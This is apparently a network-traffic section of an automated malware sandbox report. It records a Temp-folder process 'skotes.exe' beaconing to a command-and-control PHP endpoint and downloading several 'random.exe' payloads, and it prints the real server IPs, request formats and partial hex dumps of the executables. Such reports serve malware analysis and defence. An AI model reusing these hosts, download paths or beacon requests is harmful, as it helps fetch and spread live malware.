3	192.168.2.5	49955	185.215.113.43	80	7664	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Oct 24, 2024 19:30:06.074589014 CEST	310	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 156 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 37 42 31 32 45 37 37 42 30 35 42 38 32 44 31 32 46 43 33 36 33 42 42 33 44 42 33 37 33 46 45 34 38 31 44 33 44 41 38 37 33 32 30 37 30 45 37 41 31 30 35 44 31 31 37 43 45 39 35 45 39 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A77B12E77B05B82D12FC363BB3DB373FE481D3DA8732070E7A105D117CE95E9
Oct 24, 2024 19:30:06.980034113 CEST	554	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Thu, 24 Oct 2024 17:30:06 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 31 36 62 0d 0a 20 3c 63 3e 31 30 30 31 32 34 32 30 30 31 2b 2b 2b 66 63 38 66 37 63 31 65 64 33 63 30 66 39 63 33 30 62 34 62 61 65 64 37 34 63 36 31 33 39 35 64 37 66 61 63 30 30 62 35 38 39 38 37 65 38 65 37 65 37 62 39 63 61 33 30 38 30 34 30 34 32 62 61 35 63 65 39 30 32 34 31 35 34 35 30 23 31 30 30 31 32 34 33 30 30 31 2b 2b 2b 66 63 38 66 37 63 31 65 64 33 63 30 66 39 63 33 30 62 34 62 61 65 64 37 34 63 36 31 33 39 35 64 37 66 61 63 30 30 62 35 38 39 38 37 65 38 66 38 65 36 62 31 63 61 37 32 64 64 35 33 34 64 62 30 35 37 65 62 34 31 30 61 34 39 34 64 39 64 23 31 30 30 31 32 34 34 30 30 31 2b 2b 2b 66 63 38 66 37 63 31 65 64 33 63 30 66 39 63 33 30 62 34 62 61 65 64 37 34 63 36 31 33 39 35 64 37 66 61 63 30 30 62 35 38 39 38 37 65 38 66 63 66 37 62 38 63 37 33 30 38 30 34 30 34 32 62 61 35 63 65 39 30 32 34 31 35 34 35 30 23 31 30 30 31 32 34 35 30 30 31 2b 2b 2b 66 63 38 66 37 63 31 65 64 33 63 30 66 39 63 33 30 62 34 62 61 65 64 37 34 63 36 31 33 39 35 64 37 66 61 63 30 30 62 35 38 39 38 37 [TRUNCATED] Data Ascii: 16b <c>1001242001+++fc8f7c1ed3c0f9c30b4baed74c61395d7fac00b58987e8e7e7b9ca30804042ba5ce902415450#1001243001+++fc8f7c1ed3c0f9c30b4baed74c61395d7fac00b58987e8f8e6b1ca72dd534db057eb410a494d9d#1001244001+++fc8f7c1ed3c0f9c30b4baed74c61395d7fac00b58987e8fcf7b8c730804042ba5ce902415450#1001245001+++fc8f7c1ed3c0f9c30b4baed74c61395d7fac00b58987e8fff7a7df309c5441f056fc49#<d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
4	192.168.2.5	49959	185.215.113.16	80	7664	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Oct 24, 2024 19:30:06.988265038 CEST	55	OUT	GET /luma/random.exe HTTP/1.1 Host: 185.215.113.16
Oct 24, 2024 19:30:08.740343094 CEST	1236	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Thu, 24 Oct 2024 17:30:07 GMT Content-Type: application/octet-stream Content-Length: 2989568 Last-Modified: Thu, 24 Oct 2024 17:07:10 GMT Connection: keep-alive ETag: "671a7ebe-2d9e00" Accept-Ranges: bytes Data Raw: 4d 5a 78 00 01 00 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 78 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 24 00 00 50 45 00 00 4c 01 06 00 4a f1 ff 66 00 00 00 00 00 00 00 00 e0 00 02 01 0b 01 0e 00 00 a0 04 00 00 dc 00 00 00 00 00 00 00 20 31 00 00 10 00 00 00 00 00 00 00 00 40 00 00 10 00 00 00 02 00 00 06 00 00 00 00 00 00 00 06 00 00 00 00 00 00 00 00 50 31 00 00 04 00 00 f2 20 2e 00 02 00 40 80 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 57 f0 05 00 6b 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 f8 f1 05 00 08 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 [TRUNCATED] Data Ascii: MZx@x!L!This program cannot be run in DOS mode.$PELJf 1@P1 .@Wk ^@.rsrc n@.idata n@fedkisnw++p@adtbrenv1x-@.taggant0 1"\|-@
Oct 24, 2024 19:30:08.740356922 CEST	112	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Oct 24, 2024 19:30:08.740371943 CEST	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Oct 24, 2024 19:30:08.740392923 CEST	112	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Oct 24, 2024 19:30:08.740406990 CEST	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Oct 24, 2024 19:30:08.740421057 CEST	212	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Oct 24, 2024 19:30:08.740427017 CEST	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii: 7z`E{X5
Oct 24, 2024 19:30:08.740439892 CEST	1236	IN	Data Raw: cc 9b 58 e5 63 1e 0e 00 f9 41 5b e7 da 16 5e bd d8 ac ed 5b 4e aa cd af 9f 21 6d ce cb 91 a4 17 21 c6 f0 fc f6 7e 36 8d ed 4e 61 fe ec ed 68 ee 09 9c 91 4f e7 b0 35 ad d0 b4 b8 c2 f6 af 8f 43 3c e2 77 ca bc be 7c b1 1c c1 90 66 44 26 ac c9 dc 3c Data Ascii: XcA[^[N!m!~6NahO5C<w\|fD&<yA`xW:pzU^Owye]]o>(\roDKM>t%/ssC`[=rV?5<dyC\m\UF4Q1io{=Nvf%<
Oct 24, 2024 19:30:08.740447044 CEST	1236	IN	Data Raw: 84 12 b9 17 85 f4 55 21 ce bf dd 90 c0 9a ca 55 48 ce f6 f9 dc 34 26 03 b4 9d 6d 36 b4 f1 60 70 2a f4 3c c0 f1 16 39 b0 14 b0 e0 e3 dd 96 35 7e 09 39 2d 3c ba 82 bc a0 8e fa 2a 82 fa d0 e0 a7 34 fd 36 45 87 3f 95 d3 17 34 ba 89 55 0a ec 90 d7 c2 Data Ascii: U!UH4&m6`p<95~9-<46E?4U9"$ot2=cu6@x`,37oNha7k{HMj<`-X3aN?vlvOqe7Uy0-sCjiUC;J;;'3;*T\&s)zbM
Oct 24, 2024 19:30:08.740453005 CEST	336	IN	Data Raw: 73 95 85 2c b3 f8 f8 a1 fd a4 f9 22 d3 3c 9c 33 bc 61 c9 94 8a 58 f1 2b bc f5 35 94 eb bd 45 dc 58 8f 1d 75 6c 35 74 49 fa 4c e7 90 e4 43 98 a7 3a 4c a6 e8 70 45 21 1b db 3e 99 3b a3 9c 4d 89 dd 3f 38 6c df 86 cc 76 f9 41 43 8e c2 ad 87 f2 36 fd Data Ascii: s,"<3aX+5EXul5tILC:LpE!>;M?8lvAC6k_tS.;6ey8ZDMTQ8Ghm<4<jEB;a%}~s~e;8I 3O(tj=b,
Oct 24, 2024 19:30:08.740500927 CEST	1236	IN	Data Raw: 8c 9c ad 67 14 99 13 a8 05 29 4e ac 7b 83 b4 f3 7b 9d 4f 6d a0 3f 1c b4 ac a8 71 65 d4 bd 55 69 be 39 dd c2 05 83 fa 77 fc a9 b8 7c 11 68 0a fc 06 3e e3 c4 10 ff 9b 30 c0 f5 11 b7 fb 96 56 e3 07 ec 2d 55 44 90 1d d8 4c 37 09 5a 59 16 59 37 85 e9 Data Ascii: g)N{{Om?qeUi9w\|h>0V-UDL7ZYY7qhC-Q,lX[-h6l,&Ix8Dro#\|s4js)jDP4g[n&D@U78xU/}s{\|
Oct 24, 2024 19:30:08.740765095 CEST	1236	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Thu, 24 Oct 2024 17:30:07 GMT Content-Type: application/octet-stream Content-Length: 2989568 Last-Modified: Thu, 24 Oct 2024 17:07:10 GMT Connection: keep-alive ETag: "671a7ebe-2d9e00" Accept-Ranges: bytes Data Raw: 4d 5a 78 00 01 00 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 78 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 24 00 00 50 45 00 00 4c 01 06 00 4a f1 ff 66 00 00 00 00 00 00 00 00 e0 00 02 01 0b 01 0e 00 00 a0 04 00 00 dc 00 00 00 00 00 00 00 20 31 00 00 10 00 00 00 00 00 00 00 00 40 00 00 10 00 00 00 02 00 00 06 00 00 00 00 00 00 00 06 00 00 00 00 00 00 00 00 50 31 00 00 04 00 00 f2 20 2e 00 02 00 40 80 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 57 f0 05 00 6b 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 f8 f1 05 00 08 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 [TRUNCATED] Data Ascii: MZx@x!L!This program cannot be run in DOS mode.$PELJf 1@P1 .@Wk ^@.rsrc n@.idata n@fedkisnw++p@adtbrenv1x-@.taggant0 1"\|-@
Oct 24, 2024 19:30:08.741379976 CEST	1236	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Thu, 24 Oct 2024 17:30:07 GMT Content-Type: application/octet-stream Content-Length: 2989568 Last-Modified: Thu, 24 Oct 2024 17:07:10 GMT Connection: keep-alive ETag: "671a7ebe-2d9e00" Accept-Ranges: bytes Data Raw: 4d 5a 78 00 01 00 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 78 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 24 00 00 50 45 00 00 4c 01 06 00 4a f1 ff 66 00 00 00 00 00 00 00 00 e0 00 02 01 0b 01 0e 00 00 a0 04 00 00 dc 00 00 00 00 00 00 00 20 31 00 00 10 00 00 00 00 00 00 00 00 40 00 00 10 00 00 00 02 00 00 06 00 00 00 00 00 00 00 06 00 00 00 00 00 00 00 00 50 31 00 00 04 00 00 f2 20 2e 00 02 00 40 80 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 57 f0 05 00 6b 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 f8 f1 05 00 08 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 [TRUNCATED] Data Ascii: MZx@x!L!This program cannot be run in DOS mode.$PELJf 1@P1 .@Wk ^@.rsrc n@.idata n@fedkisnw++p@adtbrenv1x-@.taggant0 1"\|-@

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
5	192.168.2.5	49974	185.215.113.43	80	7664	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Oct 24, 2024 19:30:11.981028080 CEST	184	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 31 Cache-Control: no-cache Data Raw: 64 31 3d 31 30 30 31 32 34 32 30 30 31 26 75 6e 69 74 3d 32 34 36 31 32 32 36 35 38 33 36 39 Data Ascii: d1=1001242001&unit=246122658369
Oct 24, 2024 19:30:12.909769058 CEST	193	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Thu, 24 Oct 2024 17:30:12 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 34 0d 0a 20 3c 63 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 4 <c>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
6	192.168.2.5	49981	185.215.113.16	80	7664	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Oct 24, 2024 19:30:12.918903112 CEST	56	OUT	GET /steam/random.exe HTTP/1.1 Host: 185.215.113.16
Oct 24, 2024 19:30:13.835356951 CEST	1236	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Thu, 24 Oct 2024 17:30:13 GMT Content-Type: application/octet-stream Content-Length: 1852928 Last-Modified: Thu, 24 Oct 2024 17:07:16 GMT Connection: keep-alive ETag: "671a7ec4-1c4600" Accept-Ranges: bytes Data Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 e8 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 bd cf 9d 43 f9 ae f3 10 f9 ae f3 10 f9 ae f3 10 96 d8 58 10 e1 ae f3 10 96 d8 6d 10 f4 ae f3 10 96 d8 59 10 c0 ae f3 10 f0 d6 70 10 fa ae f3 10 79 d7 f2 11 fb ae f3 10 f0 d6 60 10 fe ae f3 10 f9 ae f2 10 97 ae f3 10 96 d8 5c 10 eb ae f3 10 96 d8 6e 10 f8 ae f3 10 52 69 63 68 f9 ae f3 10 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 07 00 4a 9a f9 66 00 00 00 00 00 00 00 00 e0 00 02 01 0b 01 0a 00 00 ce 01 00 00 1a 24 00 00 00 00 00 00 f0 69 00 00 10 00 00 00 e0 01 00 00 00 40 00 00 10 00 00 00 02 00 00 05 00 01 00 00 00 00 00 05 00 01 00 00 00 00 00 00 20 6a 00 00 04 00 00 55 88 1c 00 02 00 40 80 00 00 10 00 00 10 00 00 00 00 [TRUNCATED] Data Ascii: MZ@!L!This program cannot be run in DOS mode.$CXmYpy`\nRichPELJf$i@ jU@P%d% %(@.rsrc %8@.idata %8@ *%:@ffngccgeO<@atmmyeyli @.taggant0i"$@
Oct 24, 2024 19:30:13.835391045 CEST	112	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Oct 24, 2024 19:30:13.835402012 CEST	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Oct 24, 2024 19:30:13.835427046 CEST	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Oct 24, 2024 19:30:13.835438013 CEST	424	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Oct 24, 2024 19:30:13.835627079 CEST	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii: a>iw2\|Yd_GS&V6KtGuyE~'OtH;mDxtqh2o]DFC%2Y\+A
Oct 24, 2024 19:30:13.835644960 CEST	1236	IN	Data Raw: 7d ab ba be 19 c5 2b bd a1 ed e0 13 09 25 c3 a3 f9 f1 65 a3 6d 47 d6 34 7d 42 4c 23 af 41 7e 49 dd fe 5c 98 94 df 4b 6e 90 78 f8 68 5d f0 78 7c a5 c1 cf 84 69 61 4e b9 94 54 8e a4 2a 6b d0 83 8d 81 a4 46 a9 14 8c 49 ee e6 24 57 ad 9b 10 ac c9 f8 Data Ascii: }+%emG4}BL#A~I\Knxh]x\|iaNT*kFI$Wq+sYXBjfn'c(v[&XSM`NC$z<'Ko~Jz<lW#&YS3i:>&CXz>Y7rl@?{X87!x<Wde?
Oct 24, 2024 19:30:13.835650921 CEST	1236	IN	Data Raw: 55 9f c1 5a 85 21 e9 68 c9 78 98 6f d9 9c a1 19 d1 f6 cc 62 f1 02 8b 4b 8c de e0 4f 8b aa 5e 61 a2 da 05 66 4b 1d c9 01 08 11 8c 0f 1f 4f 09 a5 86 28 1d f9 2c 1b cc 99 a9 41 de e5 46 7f 07 8a c9 70 8c 3b 96 0e db 20 68 fb 9a 8c f1 58 de d0 21 fd Data Ascii: UZ!hxobKO^afKO(,AFp; hX!yKNc"\|$R{pmE<-T,8,Jw1QYxW:CmTq:-ro1HehY@YOeM-p~ShJ{Y7];5s+^$W3~q*A~!
Oct 24, 2024 19:30:13.835699081 CEST	236	IN	Data Raw: a6 1d cc e6 ca 81 3c 81 6d 29 d4 49 75 d9 58 1c f2 e9 0d 9b 26 6a 51 43 64 d3 8d 87 97 22 55 bf 7e bd ba 77 9e d9 94 03 1a c2 d3 d5 91 1a 4f 70 ed dd 62 03 7f 71 19 c3 99 7d 34 79 e9 72 f1 42 80 d3 bb 1d 2a f1 f4 be 8d 3c a9 15 7e fc c7 b7 4d 06 Data Ascii: <m)IuX&jQCd"U~wOpbq}4yrB<~M\OeJ12\|Hii0i?V:A\|3Gj\OW9-a>C~fAjY]MW:~q=l\|&oW`]U-,j!w(g+pO
Oct 24, 2024 19:30:13.835710049 CEST	1236	IN	Data Raw: 4d 38 d4 b6 b1 1f d4 4d 76 dc c0 5d fd 6d 88 5b 91 6a 95 7f 73 10 65 ac 4f fd 6c 30 a3 1f ba 6e 00 cd 7a f9 29 dd d3 e9 a7 45 b4 f9 ab 1e c5 d9 7e 1f 0d 5e ac c5 43 dc fb f1 fc c2 dd 1d e3 aa b5 bd ca 2f c6 e9 c2 b6 9c 3d 7b 5e d6 6b cd 9d 0f 65 Data Ascii: M8Mv]m[jseOl0nz)E~^C/={^keW;~}^Iz>=[0+e<%~G/c'h(9GpW!LQu\|jKYM:kkwf_I82,j}\|;0Y(>]@5/:10#(P~+u
Oct 24, 2024 19:30:13.840847015 CEST	1236	IN	Data Raw: 35 c1 a2 2f cc 6a b3 68 a9 ab c8 93 57 bd ca 5a 92 49 9b 30 4d 72 88 37 c1 ce d3 a9 39 1f d4 79 76 15 c1 35 04 c5 d8 a9 7e 42 75 48 9c 98 30 e8 63 e1 9a 30 11 72 d3 35 85 e8 62 2f f9 6a bc b1 76 62 29 bf 2a 4f 3d 48 31 5a 28 46 81 91 51 a8 7d d1 Data Ascii: 5/jhWZI0Mr79yv5~BuH0c0r5b/jvb)O=H1Z(FQ}:rFA6kY~MGW]'-b9)HcJOO`Y~AO`52jXWer@<%261jv!Zh,620rc7=sY

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
7	192.168.2.5	49998	185.215.113.43	80	7664	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Oct 24, 2024 19:30:17.580583096 CEST	184	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 31 Cache-Control: no-cache Data Raw: 64 31 3d 31 30 30 31 32 34 33 30 30 31 26 75 6e 69 74 3d 32 34 36 31 32 32 36 35 38 33 36 39 Data Ascii: d1=1001243001&unit=246122658369
Oct 24, 2024 19:30:18.494743109 CEST	193	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Thu, 24 Oct 2024 17:30:18 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 34 0d 0a 20 3c 63 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 4 <c>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
8	192.168.2.5	49999	185.215.113.16	80	7664	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Oct 24, 2024 19:30:18.505287886 CEST	55	OUT	GET /well/random.exe HTTP/1.1 Host: 185.215.113.16
Oct 24, 2024 19:30:19.413574934 CEST	1236	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Thu, 24 Oct 2024 17:30:19 GMT Content-Type: application/octet-stream Content-Length: 919552 Last-Modified: Thu, 24 Oct 2024 16:45:18 GMT Connection: keep-alive ETag: "671a799e-e0800" Accept-Ranges: bytes Data Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 01 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 9a c7 83 ae de a6 ed fd de a6 ed fd de a6 ed fd 6a 3a 1c fd fd a6 ed fd 6a 3a 1e fd 43 a6 ed fd 6a 3a 1f fd fd a6 ed fd 40 06 2a fd df a6 ed fd 8c ce e8 fc f3 a6 ed fd 8c ce e9 fc cc a6 ed fd 8c ce ee fc cb a6 ed fd d7 de 6e fd d7 a6 ed fd d7 de 7e fd fb a6 ed fd de a6 ec fd f7 a4 ed fd 7b cf e3 fc 8e a6 ed fd 7b cf ee fc df a6 ed fd 7b cf 12 fd df a6 ed fd de a6 7a fd df a6 ed fd 7b cf ef fc df a6 ed fd 52 69 63 68 de a6 ed fd 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 05 00 96 79 1a 67 00 00 00 00 00 00 00 00 e0 00 22 01 0b 01 0e 10 00 ac 09 00 00 58 04 00 00 00 00 00 77 05 02 00 00 10 00 00 00 c0 [TRUNCATED] Data Ascii: MZ@ !L!This program cannot be run in DOS mode.$j:j:Cj:@*n~{{{z{RichPELyg"Xw@`U-@@@d\|@(u4@.text `.rdata@@.datalpH@.rsrc(@@@.relocuv@B
Oct 24, 2024 19:30:19.413855076 CEST	112	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 b9 74 0a 4d 00 e8 38 fd 01 00 68 e9 23 44 00 e8 8f f0 01 00 59 c3 68 f3 23 44 00 Data Ascii: tM8h#DYh#DYh#DrYY<h
Oct 24, 2024 19:30:19.413953066 CEST	1236	IN	Data Raw: fd 23 44 00 e8 61 f0 01 00 59 c3 51 e8 a9 00 00 00 68 02 24 44 00 e8 4f f0 01 00 59 c3 a1 30 14 4d 00 51 8b 40 04 05 30 14 4d 00 50 e8 e3 23 00 00 68 17 24 44 00 e8 2f f0 01 00 59 c3 e8 de 25 00 00 68 1c 24 44 00 e8 1e f0 01 00 59 c3 e8 ae e7 01 Data Ascii: #DaYQh$DOY0MQ@0MP#h$D/Y%h$DYh!$DYA2h&$DYPh0$DY%Mh?$DYVNNj(VYY^U80MtI3M0IMMVQfMo0
Oct 24, 2024 19:30:19.413970947 CEST	1236	IN	Data Raw: c9 0f 85 75 10 04 00 33 db 89 5f dc 8b 4f c4 85 c9 0f 85 e3 01 00 00 8d 4f a4 89 5f cc e8 60 83 00 00 8d 8f 80 fe ff ff e8 0a 04 00 00 8d b7 64 fe ff ff 8b ce c7 06 3c c9 49 00 e8 88 02 00 00 ff 76 04 e8 bf e8 01 00 59 8d 8f 8c fd ff ff e8 1b 02 Data Ascii: u3_OO_`d<IvY\|#l)\DItvL@IY9TPTX<@IY9D@D.,@IY94
Oct 24, 2024 19:30:19.413981915 CEST	1236	IN	Data Raw: eb f3 56 8b f1 8d 4e 20 e8 b2 b5 00 00 8b ce e8 ab b5 00 00 6a 40 56 e8 d0 e3 01 00 59 59 8b c6 5e c2 04 00 55 8b ec 53 8b d9 56 57 80 7b 0d 00 8b 7b 08 75 29 8b 45 08 8b cf 8b 30 e8 7e b5 00 00 89 37 c7 47 0c 01 00 00 00 8b 43 08 80 7b 0d 00 5f Data Ascii: VN j@VYY^USVW{{u)E0~7GC{_^[u@]8@83Md3f2MA4Mj8M<M@MPMfMMMXMDMHMLMUWrVj@YuO
